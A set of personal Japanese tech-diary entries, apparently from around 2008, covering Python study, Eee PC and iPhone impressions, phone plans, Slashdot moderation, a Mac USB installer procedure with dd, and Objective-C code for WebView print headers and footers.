まぁ、中身はPython付属のチュートリアルの日本語訳なので Python チュートリアル でも同じ内容のものが読めるたりするのだが、本の形になっていると外や室内でごろごろしながら読みやすい。あと、付録にある訳者書き下ろしの「付録E Python初心者だった頃―みんながひっかかるPythonのヘンなとこ」と「付録F 日本語環境」は初心者には有用だろう。



さて、やっとPythonのサマリが頭に入ったので適当にコードを書いてみているのだが、言語使用としてはPerlよりもクリアで分かりやすい。標準ライブラリも一通りあるが、同じことをやろうとするとPerlより必要な手続きが多いような気はする。あと、ドキュメントがかなり分かりにくい……。perldoc相当のpydocというコマンドでヘルプが読めるのだが、関数の解説とかどんな引数を入れるとかどんな値が帰ってくるかとかの情報が少ない(汗)。戻り値でエラーチェックをするのではなく例外処理を使えということなんだろうなぁ。



日本ではPythonユーザーが少ないという理由だけでPythonを使ってみているのだが、なかなか自在に操るまでの道は遠そうな気がする。

Permalink | コメントを読む | hylomの日記


Atom搭載mini-ITXマザー

ぶらっと秋葉原に行ったら、T-ZONEにmini-ITXケースコーナーができていたり、mini-ITXマザーボードコーナーもあったりでmini-ITXブームの予感。マザー+ケースの2万円ちょっとで低消費電力機が作れるのには激しく魅かれるんだけど、今月は多めに散財しているので自粛。


てか、Thecusの N2050 が8000円くらいで売っていて危うく買ってしまいそうになった。これ最初見たとき2万くらいの値段がついていたんだけどなんじゃこの大割引。でもハードウェアRAIDだとハードが故障したときデータのサルベージができなさそうだし、現状ならAtom機でファイルサーバー作った方が楽しそうだろ、と自分に必死に言い聞かせる(笑)。



しかし、実は秋葉原に行った目的は これ が欲しかったからだったんだけど、普段電子機器&PCショップにしか行かないのでどこに行けば良いのか激しく迷う(汗)。



とりあえず駅前にある、一度だけ友人に連れて行かれたGAMERSに行ったら激しく迷って色々な売り場をさまよってしまった……。そして結局目的は達成できず。おとなしくAmazonで買うか……。


Permalink | コメントを読む | hylomの日記


「マジコン叩き」が嫌いな理由

まぁ日記とかコメントとか見れば分かるとは思うが、自分はマジコン擁護派です。しかし、自分では全然触っていないくせに何でこんなに自分マジコン擁護するんだろ、とか不思議に思っていたのだが、よく考えたら自分はゲームを作りたくてPC触り始めたんだよね。


子供の頃に最初に触ったコンピュータ(らしきもの)ってファミコンで、それを見て自分でも作りたい!と思って、中古PCを買ってもらってBASICを始めて以後アセンブラやったりCを覚えたりしたんだけど、やっぱり「ファミコンのゲームを作りたい」というのが夢にあったんだと思う(途中でインターネットの世界に沈んじゃって結局ゲーム開発者にはならなかったけど)。



でも、当時ってファミコンゲームを素人が作るってほとんど無理だった。PCでゲームを作っても友人に見せるには自宅にまで来てもらわないとダメだし、やっぱり「ファミコンでゲームを作る」というのは何か特別なものだったんだと思う。



ところが、今はマジコンとパソコンと知識さえあれば、誰でもDS用のゲームが開発できてしまう。これって、子供のころの自分だったら夢のような環境だと思うよ。



ということで、このデバイスがなくなって欲しくないのは、たぶんこんな理由からなんだろうなぁ。

Permalink | コメントを読む | hylomの日記


メトロノーム

メモリー機能(テンポを複数記憶しておいて、簡単な操作で呼び出せる)を備えたメトロノームが欲しいんだけど、高いんですよね。


ということで、せっかくiPhoneがあるんだしとメトロノームソフトを探したら、1つだけメモリー機能付きのものを発見。しかし、バッテリーのことを考えて思いとどまる。



てか、何でみんなメトロノームを作りたがるのだろうか。そしてどれも機能が全然少ないのだろうか。



理想的には、曲名+テンポの組み合わせで20個くらいメモリーができて、演奏順に自由にそのリストを並びかえられる機能があるとよいんだけど……。


Permalink | コメントを読む | hylomの日記


マジコン叩き

今回の件もそうだけど、マジコンの話題になるとなんでマジコン叩きをする人が出てくるのだろうか。PSPのカスタムファームとか、iPhoneのjailbreakはあまり叩かれないのに。


基本的にはどれも、「メーカーが制限している任意のバイナリの実行を許可する」だけで、違法コピーの件とかは全く別問題なのだが。



もしかして、ほとんどリスクなしに、買ってくるだけで使えちゃうのがダメなのか? PSPカスタムファームとかjailbreakは少なくとも素人には難しいだろうし、メーカー保証がなくなるリスクや最悪まともに機器が使えなくなるリスクはあるからねぇ……。

Permalink | コメントを読む | hylomの日記


ライブドアニュースによる「字幕.in」運営者叩きがキモい

最近激しく叩かれている、字幕.inなどを運営する矢野氏。


livedoor ニュース – 【トレビアン】『字幕in』のsatoru.netから送られてきたプレス原稿がめちゃくちゃ。トレビアン記者が修正してみた! でも、激しく(そして明後日の方向に)叩かれているのですが叩き方が激しくキモい。



プレスリリースの内容に、赤字で修正まで勝手に入れて晒し者にしているのだが、そこまで酷いか?このプレスリリース。正直、専門の人員やコンサル入れてる大企業は別にして、中小企業ならこのレベルのニュースリリース多いぞ。



あと、ライターの個人的な意見とかまで赤字で入れちゃってるし。こんなんでPV取れるんすかねぇ。。。

Permalink | コメントを読む | hylomの日記


iPhone 3Gを含めた今月からの携帯代金(予定)

やっとこさWillcom解約。10分もかからずに解約できました。年契約だったので解約料2000円はとられたけど。4年以上は契約していたけど、ここ1年は塩漬けだったので適当なタイミングで年契約解除すべきでした……。


で、それも含めてこれからの携帯電話料金を計算してみた。現状、持ってるのはiPhone 3GとauのCDMA 1x(非Win)端末。



・iPhone 3G

ホワイトプラン+パケット定額+S!ベーシックパック+端末月賦支払?スーパーボーナスで980+5985+315+2880?1920=8240円



・au

コミコミOneエコノミー+EZWeb?家族割?年割で4179の(25+20)%off+135=約2600円、無料通話2100円分

(端数の処理とかってどうなるんだろ)



合計で約11000円か。いままではauでパケット割(1000円+無料通話1000円、従量課金)で約4000?5000円+Willcomの定額プラン2900円で合計約7000?8000円くらいだから、実質4000円?5000円くらい増えてますな。



ちなみに2つ携帯を持ってるけど、iPhoneがパケット通信用、auが音声通話用、という感じでauのほうではパケット通信ほとんど使いません。逆にiPhoneでは通話はほとんどなし。



auをもう少し安くできればよいのだけど、これ以上はなかなか難しいだろうなぁ。


Permalink | コメントを読む | hylomの日記


慣用句の定義(冥福の使い方)

「赤塚不二夫氏、逝去」での コメントで、「冥福」の使い方がちょっと議論になっている。


自分のスタンスは コメント に書いているのだが、「この用法が慣用句になっている」というのに突っ込みが入っていた。



よく考えたら慣用句というのは「顔をつぶす」などのように本来とは違う意味で使われることが慣例化している言葉のことなので、これを慣用句というのは意味が違うな。常用されている、と言えばよかった。



で、「冥福を祈る」が常用されているかどうかなのだが、自身の考えとしては「新聞でその用語がその用法で使われているか」を判断基準としている。



で、「冥福を祈る」でasahi.comを検索して見ると、 500件以上の記事が見つかった 。ということで、この基準からいうとこの用法は間違っていない、と判断している。



しかし、これで突っ込みが入るとは思わなかった。

Permalink | コメントを読む | hylomの日記


GIGAZINEのワンフェス事故の記事の見出しはメディアとしてはNGだろ

GIGAZINE(ギガジン) – 【速報】ワンダーフェスティバル2008夏、開場直後に人が多すぎて地鳴りのような音とともに4階から1階へエスカレーターがぶっ壊れて逆流、けが人発生」という記事なんだが、「人が多すぎて」→「ぶっ壊れて逆流」、という見出しはメディアとしてはダメだろ。だって、原因はまだ未定なんだから。


テレビ・雑誌・新聞がやったら苦情ものだぜ、この見出し。

Permalink | コメントを読む | hylomの日記


携帯電話事業混迷?

墜ちるところまで墜ちたau by KDDI – The Greatest Waste of Lifeを見て。


ドコモ→端末販売時のインセンティブ削減で経営健全化目指す。端末価格は高くなったものの、魅力的な端末、「尖った」端末を抱負にそろえる。インフラは依然抱負。料金体系に対しても最近挑戦的なプランを出している気がする。携帯ビジネスとして健全な経営と言える気はする



au→端末ボロボロ、インフラはパンク気味。インセンティブ削減については及び腰っぽい。料金プランは微妙に値上げ気味(4年前のプランと現行プランを比べてみれば分かる)。結局旧態依然なビジネスを続けたい?



ソフトバンク→インフラ弱いけど一応基地局は増やし中、vodafone時代よりはマシなインフラ? 料金プラン、端末ともに挑戦的。スマートフォンへのパケット定額制でインフラに負荷がかかっているのが不安



Willcom→インフラそこそこ強いけど端末の選択肢は少ない。スマートフォンに定評はあるものの通信速度は遅いうえに定額にすると料金が安いわけでもない



イーモバイル→大都市周辺でデータ通信やるなら最強。通話につかうにはエリアの狭さがツライ。地下鉄NG。



といった感じでしょうか(主観的意見多数含む)。経営的にはドコモが鉄板な気はしますが、あとはauがどう持ち直すか。技術者の人でも「auはもうヤバい」ということを話す人が多い気がするのでちょっと本当にヤバいかもしれない。ソフトバンクはやっぱり基地局強化が課題ですかね。


Permalink | コメントを読む | hylomの日記


mixiのiPhoneアプリが(予想通り)使い勝手が悪いというか使え無い件について

まぁある程度は予想していたのだが、その予想を下回ってmixiのiPhoneアプリが使えない(機能的な意味で)。


基本的にトップ画面で見える「マイミクシィ最新日記」とか「最近コメントした日記」とかの見出し数件しか確認できない(記事本文を読もうとするとSafariが起動)うえ、なんか動作が重くてしばしばフリーズ。



あしあと表示機能もあるけど、10件しか表示できない。これならモバイル版がiPhone対応してくれた方が全然マシなのだが……。



結局iPhoneユーザーが何を期待しているのか全然開発側に伝わっていないorやる気がないんじゃないでしょうか。いや、まぁ広告を見せたいからサイトに来いという話なんでしょうが。



ちなみにiPhoneで見ると、mixiは/.よりも全然重いです(笑)。/.は現状でもそこそこ快適に見られるけどmixiはちょっとしんどい。まぁmixiは重い画像が無駄に多いという話もあるが……



iPhoneのSafariこそユーザースタイルシートをがんがんに活用したいのだけど、使えるのだろうか? ちょっと調べてみよう。

Permalink | コメントを読む | hylomの日記


中国には透明人間のプロレスラーがいる

さまざまなトンデモ人間の存在が確認されている中国だが、今回あらわれたのはなんと透明人間レスラー。透明だけど、ちゃんとプロレスの試合に出場している。しかも結構強い。


YouTube – Invisible Wrestler Misutero



もちろん相手だけでなく観客にも見えないのだが、大技を決める透明人間レスラー、すげぇ。



・・・てかこの試合、審判って必要なのだろうか(笑)。


Permalink | コメントを読む | hylomの日記


地デジ録画、あと半年前に出ていたらなぁ

ありのまま起こったことを(以下略。


SKNETのUSB地デジチューナー+パッチ済みドライバ+ICカードリーダーでコピーフリー録画が可能に 」の記事、とりあえず深夜に掲載しておけば明日の昼ごろまでにはトップになっているだろうと思ってたら、朝起きたら一杯記事が上がっていました……。



という話は置いておいて、今さら地デジ録画フリーになっても録る物ないわ! やっぱりPV4買ってしこしことHDDレコーダー録画したものを取り込もうかなぁ……。


Permalink | コメントを読む | hylomの日記


CGI.pmとuse open ":std"

CGI.pmで、POSTされたフォーム内容のparseが何かおかしい、でアップロードされたファイルの内容に他のフォームの内容が混ざる、てかこれmultipartメッセージの分解間違ってね? CGI.pmのバグか?


とかいう変なハマり方をしたのだが、結論としては「use open “:utf8″」と「use open “:std”」が原因だった模様。



この2つをuseすると、multipartメッセージのデリミタがうまく認識されないようだ。ちなみに$CGI::VERSIONは3.15。



しかも、この状態だとIO::FileとかでopenしたファイルのI/Oがutf-8で行われなくなるというおまけ付き。なんじゃそりゃー。



最近は無意識的にPerlソースコードの先頭に

use utf8;

use open “:utf8”;
use open “:std”; を付けてしまっていたのが元凶といえばそうなのだが、2時間ぐらい無駄に消えた気がする……。

Permalink | コメントを読む | hylomの日記


HP 2133、またも即日完売

http://japan.internet.com/busnews/20080725/5.html


先月下旬に発売→即日完売したHP 2133、今月23日に再販売するもまた即日完売だそうだ。自分はEee PC 901を買ってしまったのでもうよいのですが、Eee PCはやっぱりキーボードがつらいのよね。スペック的にはどちらも一長一短なんだけど。



そして

なお、同社は「HP 2133 Mini-Note PC」の後継となるモデルを8月中に販売する予定とのこと。

うはっ、早すぎwww



これね。

http://apcmag.com/hp_reveals_plans_for_lowcost_mininote.htm

Atom乗るかも、という話がでてるけど、Atom乗せたら基板は設計し直しじゃね? Nanoなら考えられるけど。


Permalink | コメントを読む | hylomの日記


猟奇的なマンガ

ドラゴンボールってめちゃくちゃ猟奇的だよな……。あのマンガの中で何人が殺されたか(地球も全滅しかけてるし)。デスノートも猟奇的だ。しかもシリアスに人殺しまくってるし。


いや、「 猟奇殺人の漫画が犯行に影響か… – vn の日記 」で、

「10歳代による殺人」の周辺に「猟奇的なコミック」がある、という事例が3件続いた。これが偶然であるなどとは、とても考えられない。

というジャーナルがあったんだけど、人気漫画なんだしちょっとマンガ好きな十代なら人殺すシーンがあるマンガの1冊や2冊、普通に持っているって。



ジョジョの奇妙な冒険とかもそうだなぁ。

Permalink | コメントを読む | hylomの日記


Eee PC 901へのdebinインストール失敗

Eee PC 901のNICのドライバが、まだdebianのインストーラで使われているカーネルには取り込まれていなくてネットワークインストールは失敗に終わりました(汗)。


ドライバのパッチは出回っているようなのでカスタムインストーラ作ればよい話なのですが面倒くさいので、しばらく放置します(汗汗)。



EeeUser Forum にはインストーラがあるようだがtesting版のdebianを使っているのでちょっと入れたくない……。

Permalink | コメントを読む | hylomの日記


モデレート結果に不満でも深呼吸して待ってください

/.のコメントで、「俺のコメントになんで○○ってモデレートしやがるんだ」「このコメントはどう見ても○○じゃないだろ」というのを、毎月1回は見かける気がする(○○には「フレームのもと」とか「荒らし」などが入ることが多い)。


まぁ、おまいら落ち着け。モデレートは不特定多数がやっているので、どうしても個人の主観によって結果が異なってしまう。そのため、不特定多数が同じコメントに対し異なるモデレーションを行えるようになっているし、モデレーションを評価するメタモデレーション機構もある。間違っていると思われるモデレーションが付いても、しばらく待てばほかのモデレーションがつけられたり、メタモデレーションで最終的な評価が変わったりもする。特に、「オフトピック」「荒らし」「フレームの元」は境界線を適切に引くのは難しい。ということで、「何で○○というモデがついているんだ!」というコメントを付ける前に、深呼吸して落ち着いてください。



ただ、個人的には残念ながら現状通常のモデレーションはそこそこうまく動いているが、メタモデレーションはうまく働いていないような気がしてならない。ぜひ皆様、メタモデレーションのほうもよろしくお願いします。ちなみに/.編集者はモデレーション/メタモデレーションを常に行える権限を持っていますので、とりあえず私は「これは違うだろ」というモデレーションについては「不公正」に設定するようにしています。



個人的には、ストーリーと関係ないネタ、もしくはミスリードを誘うと思われるコメントは「オフトピック」、ほかのコメント主や個人を直接非難/攻撃するコメントは「フレームのもと」、それ以外の不特定多数を攻撃するもの、完全に意味不明なものは「荒らし」にするようにしています。



「フレームのもと」が難しいのですが、私としては内容があっても、文体/口調が著しく悪い場合は「フレームのもと」かと思っています(「馬鹿」など相手を罵る単語はフレームのもと)。


Permalink | コメントを読む | hylomの日記


MacでLinuxインストーラ起動用USBメモリを準備する

Eee PCにLinux入れようと、バルクのIDE接続DVDドライブをUSB-IDE変換ケーブルで接続したのだが、何かうまくブートしてくれない。しょうがないのでインストーラブートUSBメモリを使おうと思ったのだが、自宅には現在Linux環境がなく、Mac環境とWindows環境しかなかったので作り方に迷う。


基本的には、USBメモリにddコマンドでイメージを先頭セクタから書き込んでやれば良いだけなので、Macでもできる。ただ、OS XではUSBメモリを挿すと自動的にマウントしてしまうので、手動でunmountしてやる必要がある。ということで以下メモ。


  1. USBメモリをMacにセットし、マウントした状態でシステムプロファイラを起動し、USBメモリのBSD名(disk[0-9])を確認

  • ターミナルを起動してmountコマンドでUSBメモリのマウントポイントを確認

  • ターミナルから

    $ sudo unmount -vf<マウントポイント>

    を実行して強制アンマウントする


  • dd if=<ディスクイメージ> of=/dev/

    を実行してディスクイメージを書き込み



これで完了。

Permalink | コメントを読む | hylomの日記


iPhone+Yahoo!でかなり外でのネット需要が満たせる件について

iPhone 2日目。まだ友人に見せびらかせて楽しめます(笑)。


3Gネットワークでのネット接続は、画像が多いサイト(最たる例はmixi)では若干ロードは遅いものの、許容できる範囲。むしろW-ZERO3[es]に比べたら(以下略。



あと、Yahoo!のiPhone版ポータルが予想外に使える。携帯サイトでは恐ろしく使い勝手が悪かったYahoo!グルメが、iPhoneでは専用のインターフェイスを採用しており非常に使いやすい&快適。



問題は、日本語入力。ソフトウェアqwertyキーボードでの入力はミスタッチが多くちょっとしんどい。テンキーでの入力が多分一番慣れれば一番早そう。ただ、連文節変換はほぼ使えないため、こまめに単語ごとに変換を行わないとだめ。一見文節区切りの変更すらできないのだが、どうなのだろうか。



メールはIMAPなので、会社のメールも普通に見える。i.softbank.jpのメールボックスはIMAP対応のクライアントを使えばPCからもアクセス可。メールの保存期間は30日なので、うまくバックアップしておくべきだね。GmailのMail FetcherがIMAPでも使えればよいのだが・・・



ちなみに、会社のメールを常にチェックできるようにするのは何か精神的にイヤなので、緊急時のみチェックできるように普段は使用しないよう設定しておきました:-)


Permalink | コメントを読む | hylomの日記


携帯とPCの垣根はどこ?

iPhone買って思ったのだが、これは「携帯電話」として売られているが、実際のところはかなりPCに近い。というか、ネット接続機能に関しては「ケータイ」ではない。これから、このような「携帯電話」だけどネット機能は「ケータイ」ではないデバイスはこれから増えていくだろう。


一方、いま問題になっている「ネットのコンテンツフィルタリング」は、携帯電話とPCを完全に別の物として捉えているように見える。iPhoneはどちらとして扱われるのだろうか?



いま、携帯電話は未成年に販売する際、フィルタリングが必須になっているが、iPhoneにはその機能がついているのだろうか。もしかしてiPhoneって未成年禁止のデバイスになっちゃったりするのだろうか?


Permalink | コメントを読む | hylomの日記


WebViewで印刷時にheader/footerを付ける・完結編

さんざん悩んだ、WebViewでの印刷時にheader/footerを付ける方法、適切と思われる解決法が分かった。


まず、WebUIDelegeteの「webView:drawHeaderInRect:」や「webViewFooterHeight:」を適当なクラスに実装する(例:下記のソースコード1)。厳密にMVCに沿うならコントローラに実装するのがよいのかな?



webViewHeaderHeight:はヘッダの高さを計算してreturnするメソッド。このメソッドの戻り値がヘッダの高さになる。webView:drawHeaderInRect:は描画ルーチン。引数のNSRectが描画エリア。



続いて、実装したクラスのインスタンスを生成してWebViewのsetUIDelegate:メソッドを使ってDelegateとして登録する。



以上。下記のソースコード1はヘッダにWebViewで開いているページのタイトル、フッタにページ番号を入れる例。これだけだとヘッダ/フッタとHTML本文の間隔がないので適当にヘッダ/フッタサイズを調整しよう。



(ソースコード1)

- (void)webView:(WebView *)sender drawHeaderInRect:(NSRect)rect {

    NSString* str = [sender mainFrameTitle];
 
    NSMutableAttributedString* aStr = [[[NSMutableAttributedString alloc] init] autorelease];
    NSAttributedString *tmpAttrStr;
    NSMutableDictionary* attributes = [NSMutableDictionary dictionary];
 
    [attributes setObject:[NSFont fontWithName:@”HiraKakuPro-W3″ size:7.0f] forKey:NSFontAttributeName];
    tmpAttrStr = [[[NSAttributedString alloc] initWithString:str attributes: attributes] autorelease];
    [aStr appendAttributedString:tmpAttrStr];
 
    [self lockFocus];
    [aStr drawInRect: rect];
    [self unlockFocus];
 
}
 
– (void)webView:(WebView *)sender drawFooterInRect:(NSRect)rect {
    int pageNum;
    pageNum = [[NSPrintOperation currentOperation] currentPage];
    NSString* strPage = [[[NSString alloc] initWithFormat:@”-%d-“, pageNum] autorelease];
 
    NSMutableAttributedString* aStr = [[[NSMutableAttributedString alloc] init] autorelease];
    NSAttributedString *tmpAttrStr;
    NSMutableDictionary* attributes = [NSMutableDictionary dictionary];
 
    NSMutableParagraphStyle* style = [[[NSMutableParagraphStyle alloc] init] autorelease];
    [style setAlignment:NSCenterTextAlignment];
 
    [attributes setObject:[NSFont fontWithName:@”HiraKakuPro-W3″ size:7.0f] forKey:NSFontAttributeName];
    [attributes setObject:style forKey:NSParagraphStyleAttributeName];
 
    tmpAttrStr = [[[NSAttributedString alloc] initWithString:strPage attributes: attributes] autorelease];
    [aStr appendAttributedString:tmpAttrStr];
 
    [self lockFocus];
    [aStr drawInRect: rect];
    [self unlockFocus];
}
 
– (float)webViewHeaderHeight:(WebView *)sender {
    NSString* str = [sender mainFrameTitle];
 
    NSMutableAttributedString* aStr = [[[NSMutableAttributedString alloc] init] autorelease];
    NSAttributedString *tmpAttrStr;
    NSMutableDictionary* attributes = [NSMutableDictionary dictionary];
 
    [attributes setObject:[NSFont fontWithName:@”HiraKakuPro-W3″ size:7.0f] forKey:NSFontAttributeName];
    tmpAttrStr = [[[NSAttributedString alloc] initWithString:str attributes: attributes] autorelease];
    [aStr appendAttributedString:tmpAttrStr];
 
    return [aStr size].height;
}
 
– (float)webViewFooterHeight:(WebView *)sender {
    int pageNum;
    pageNum = [[NSPrintOperation currentOperation] currentPage];
    NSString* strPage = [[[NSString alloc] initWithFormat:@”-%d-“, pageNum] autorelease];
 
    NSMutableAttributedString* aStr = [[[NSMutableAttributedString alloc] init] autorelease];
    NSAttributedString *tmpAttrStr;
    NSMutableDictionary* attributes = [NSMutableDictionary dictionary];
 
    NSMutableParagraphStyle* style = [[[NSMutableParagraphStyle alloc] init] autorelease];
    [style setAlignment:NSCenterTextAlignment];
 
    [attributes setObject:[NSFont fontWithName:@”HiraKakuPro-W3″ size:7.0f] forKey:NSFontAttributeName];
    [attributes setObject:style forKey:NSParagraphStyleAttributeName];
 
    tmpAttrStr = [[[NSAttributedString alloc] initWithString:strPage attributes: attributes] autorelease];
    [aStr appendAttributedString:tmpAttrStr];
 
    return [aStr size].height;
}

Permalink | コメントを読む | hylomの日記


Eee PC 901買ったよ&感想でござる

Eee PC 901をさっそく発売日に買いました。というか、「 ASUS、Eee PCの新モデル「901」、明日より国内発売」の記事を編集して公開した直後にビックカメラ.comで購入ボタンをクリックしたわけですが。土曜発売ということでしたが、日曜日の朝には家に到着。さっそくセットアップしましたよ。


で、現在「 Eee PC 夏が楽しい!サマーキャンペーン !! 」なるキャンペーン中で感想記事を書くと先着500名に専用バッグをプレゼント、らしいので感想をさっそく書いてみる。



まずはサイズと重量。本体は前評判どおり、小さい。てか、写真で見るより実物は小さい。ちなみにブラックモデルを買ったのだが、天面はつやありで、プラスチックとはいえ高級感がある。重量は1.1キロということだけど、バッテリーがかなり重量を食っている感じ。6セルなのでしょうがないっちゃしょうがないけど、オプション軽い3セルとかもあってもよかったかも。



キーボードは、ピッチが思っていたよりも狭くて、いきなりのタッチタイピングは無理でした。でもキーボードに視線を向ければ問題なく打てるレベル。まぁ、これで長文を書くなら外付けキーボードは別途必須でしょうな。タッチパッドは感度が良いのか悪いのかよく分からないが、2本指スクロールができるのは非常にポイントが高い。まぁ、パッドの面積自体は狭いので、マウスはあった方が良いけどなくてもそこそこの操作はできる。



個人的には、「タッチパッドをタップでクリック」が嫌いなのでこれを無効化したかったんだけど、デフォルトのドライバではできないようでちょっとショック。



付属品はマウスとインナーバッグなど。このサイズにフィットするインナーバッグはなかなかないし、普通に買うとそこそこの値段はするのでお得感は高い。さらにクリーニングクロスも付属していたり、ACアダプタには結束用マジックテープがついていたりと、台湾メーカーでも国内製品並みのアクセサリが付くんだなぁと感心。マウスは特に言及することもない普通の光学式有線マウスでした。



使い勝手については、キーボード上に画面解像度を変えるボタンが付いているあたりがいろいろなメディアで評価されていたけど、実際画面解像度を変える機会が頻繁にあるかは微妙。実際、デフォルトの1024×600でもあまり問題なく使えてしまう。起動時間は(体感的には)普通のノートPCと同じくらいで、特に遅い気はしなかった。



さっそくFirefoxを入れてWebブラウジングしてみたけど、まったく普通に使える。動画サイトも普通に見られる。ただ、長時間使っていると若干底が熱くなるのは気になるけど、問題にはならないと思う。てか、非常に動作時でも静か。



ということで、スペックや動作感的には非常に満足できるノートPCで、コストパフォーマンスは素晴らしいと思う。まぁ、物理的に画面は小さいので自宅でだらだら使うには向かないとは思うが、普通に持ち運んでネット使ったりするなら、コストパフォーマンス的には最強かと思う。



ストレージ容量は合計12GBだけど、動画とか音声とか写真をため込むとかしなければあまり問題にはならなそうだし、最近安いSDHCカードを外部ストレージとして使えば良いんじゃないかな。



ということでSDHCカードを買ってLinuxをぶち込んでみようかと画策中。



# ちなみに黒を買ったのは白だとMacBookと被るからだったりする

Permalink | コメントを読む | hylomの日記


恵比寿のソフトバンクショップの騒動の現場にたまたま居合わせたのだが

【iPhone速報】一部店舗でトラブルも,「1台も売らない」でソフトバンク恵比寿は一時騒然:ITproの現場に、実はたまたま居合わせてました。


とりあえず、11時前に店の前を通りがかったときは、店内には数人が居ただけで、まったく平穏。で、次に12時前に店の前を通りがかった時には店内がほぼ一杯で、30〜50代とおぼしき男性が店員を大声をあげて非難中。「ソフトバンクは予約は受け付けていないといったのに、この店は予約した人にしか売らないのか」という旨のことを言っていた。



で、そのあと12時半前には騒動は一段落したようで、店員さんがそこにいた客一人一人に謝りながら、名前?などをメモしていた。てっきり、次回入荷分の予約かと思ってスルーしていったのだが、ITproの記事によると在庫を全部放出したみたいね。



自分もそこでゴネていれば買えたかもしれなかったのだが、ゴネ方がなんかスマートじゃなかったし、一部店舗では予約受付していたという話を2chなどでも聞いていたので、別に怒りはなかったなぁ。



ただ、ほかの店舗では当日早朝から並んで整理券ゲットしていた人もいたと思うと、昼前に来てゴネてiPhoneゲットとは、ゴネた人叩かれる要素満載だな。いい大人が携帯ごときでそこまで怒るなんてなんかアレだ。店の対応もどうかと思うけど。



ということで、結局iPhoneは買えていないのですが明日横浜に行く用事があるので気が向いたら東海道線に乗ってより田舎のほう(てか実家のほう?w)に行って探してみるのもよいかもしれない。


Permalink | コメントを読む | hylomの日記


ネタストック

土日はネタが少ないので、ストックしておいてみるテスト。
てか面白そうなネタがたくさん見つかったので、小出しにできるor誰かがアレたまで発見してくれるように日記オンリーで。

Permalink | コメントを読む | hylomの日記


Google、内部で使用しているデータバッファリング&交換プロトコルをオープンソース化

Googleが、Googleのさまざまなシステムで使用している、データバッファリング&交換プロトコル「 Protocol Buffers 」をオープンソース化した( PC Worldの記事 )。

Googleの内部では、サーバー間で様々なデータが交換されており、さらにそれらのデータはフラットではなく構造化されているそうだ。このようなデータを受け渡すフォーマットとしてXMLがよく使われているが、Googleのデータ共有システムで使用するにはXMLは「コストが高すぎる」ため、Googleは独自のプロトコルを開発したそうだ。

Protocol Buffersを利用することで、さまざまな構造化データをさまざまな言語で容易に扱えるようになり、さらに通信量の削減や通信速度の高速化も期待できる。Googleによると、XMLを利用する場合と比べてデータ量は3?10分の1程度で、さらに速度は20?100倍高速とのことだ。

関連記事:
http://slashdot.jp/it/article.pl?sid=08/05/29/0521212

http://slashdot.jp/it/article.pl?sid=08/02/17/2252236

http://slashdot.jp/it/article.pl?sid=06/07/28/0341209


Permalink | コメントを読む | hylomの日記

米ヤフーの検索エンジンをカスタマイズして使用できるように

米ヤフーが、外部の開発者に自社の検索インフラや検索エンジン関連技術を公開し、またFlickrやニュースのデータベースの利用を認めるなど、新たな検索システムを構築するためのプラットフォーム「Build Own Search Service」を公開すると発表した( Reutesの記事 )。

@ITの記事 によると、無制限にクエリを行える検索APIなどが提供されるということだ。

新たな検索技術を開発するには多大なコストが必要だが、このプラットフォームを利用することで、安価に新たなネット検索サービスを生み出せる可能性がある。APIはRESTやPythonライブラリで提供されるとのことで、興味のある方は試してみてはいかがだろうか。

関連記事:
http://slashdot.jp/developers/article.pl?sid=05/12/02/082235

http://slashdot.jp/it/article.pl?sid=08/05/28/1016237

http://slashdot.jp/it/article.pl?sid=05/07/01/1048224

http://slashdot.jp/it/article.pl?sid=05/12/16/0045215


Permalink | コメントを読む | hylomの日記

換気扇つき麦わら帽子が登場

真夏の屋外作業向けに、換気扇を内蔵した麦わら帽子が登場した。開発したのは兵庫県の「カシレキ」社。そのも「麦ワラ-MS」(MSは「めっちゃすずしい」の略)。

換気扇の廃棄能力は120L/分で、「長時間かぶり続けても蒸れずに快適」とのことだ。電源には単3電池を4本使用し、10時間以上の連続稼働が可能。真夏の行列ができるイベントに行かれる方は、ぜひ使ってみてはいかがだろうか。

関連記事:
http://slashdot.jp/article.pl?sid=02/07/17/1650240

http://slashdot.jp/article.pl?sid=04/06/30/0255251

http://slashdot.jp/article.pl?sid=03/07/11/0053259


Permalink | コメントを読む | hylomの日記

米国上院で「令状なし盗聴」を可能とする法案が可決

米国上院で、テロ対策を目的とした「外国情報監視法改正案」が可決された( 東京新聞の記事 )。

この法案では、電話や電子メールなどを令状なしで盗聴することを可能にするほか、通信事業者が盗聴へ協力することについて合憲性や免責も与えている。

この法案は人権擁護団体などから非難を受けているほか、議員の間でも意見は割れていたようで、また「 上院議員の大半が実態をよく理解していない 」といった声も上がっている。

関連記事:
http://slashdot.jp/yro/article.pl?sid=08/06/23/0233226

http://slashdot.jp/yro/article.pl?sid=06/06/09/0042217

http://slashdot.jp/yro/article.pl?sid=06/01/08/055255

http://slashdot.jp/security/article.pl?sid=04/05/13/1334208


Permalink | コメントを読む | hylomの日記

iPhone&Eee PC 901でWILLCOM涙目?

いやぁ、iPhoneがあれだけ話題になっているのにD4の話は全然聞かない上に発売日翌日にAtom搭載のEee PCの新型(しかもお値段半分)がでるなんて、呪われているのではないだろうか>WILLCOM


とりあえず、iPhoneは買えなかったのでEee PCはさっそく注文してみました。さすがに今回は翌日に「納品日未定」とははないだろう、きっと。

Permalink | コメントを読む | hylomの日記


そいえば

ちょっとしたテスト。
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Permalink | コメントを読む | hylomの日記


WebViewで印刷時にheader/footerを付けるPart2

前に書いたやり方でheader/footerは付けられたのだが、ソースをもう少し追ってみたところ、下記のWebUIDelegateのdrawHeaderInRectなどでやるのがちゃんとしたやり方っぽい。


